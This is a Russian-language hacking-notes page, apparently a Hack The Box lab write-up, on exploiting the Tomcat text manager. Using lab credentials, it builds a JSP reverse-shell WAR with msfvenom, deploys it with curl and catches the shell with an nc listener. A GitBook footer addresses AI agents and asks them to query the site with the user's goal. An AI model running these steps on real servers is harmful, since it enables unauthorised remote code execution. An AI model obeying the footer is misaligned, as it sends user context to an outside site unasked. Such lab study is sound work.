> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Tomcat Text Manager

Злоупотребление развёртыванием Tomcat text manager с помощью curl, WAR-полезных нагрузок и выполнения обратного шелла.

### **Эксплуатация текстового менеджера Tomcat**

**Учетные данные** найдены :

`имя пользователя = tomcat`

`пароль = $3cureP4s5w0rd123!`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b501491af4ca7aee49eae3f1de10e4a81e3998a%2Fimage%20(2381).png?alt=media" alt=""><figcaption></figcaption></figure>

**Попытка доступа** на `/manager/html` возвращает ошибку 403.<br>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb2c77c1be48761ac2f974c25fc2a8c5843ee49%2F%7B277ABB6A-B0D7-4AD1-AE99-FC955717ECA7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **Альтернатива через `/host-manager/html`**, но он не может создать приложение из `.war` файле.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83d725fadca74faf9ab127fa7a46f0ec6ad72ca2%2F%7B41962656-3540-4B34-80B9-647AA6E89572%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Список приложений из командной строки:**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70aab835b31457d23340e2caabd669ec93f0cf91%2Fimage%20(2382).png?alt=media" alt=""><figcaption></figcaption></figure>

**Создайте WAR-файл обратной оболочки** на `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f74d3abd5b672bea779bcb69c687de6caa94bead%2Fimage%20(2383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Разверните WAR-файл** с помощью curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35f58f0612d3d90d56536181cb555cd1facab016%2Fimage%20(2384).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ожидайте подключения обратной оболочки**

```bash
nc -nlvp 443 
```

**Доступ к обратной оболочке** через `http://megahosting.htb:8080/reverse`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684597d8863233f4f7918f5368509464eec68709%2Fimage%20(2385).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cce4b11bc9c32ef66f9d57707f0a9361bc5f6e77%2Fimage%20(2386).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
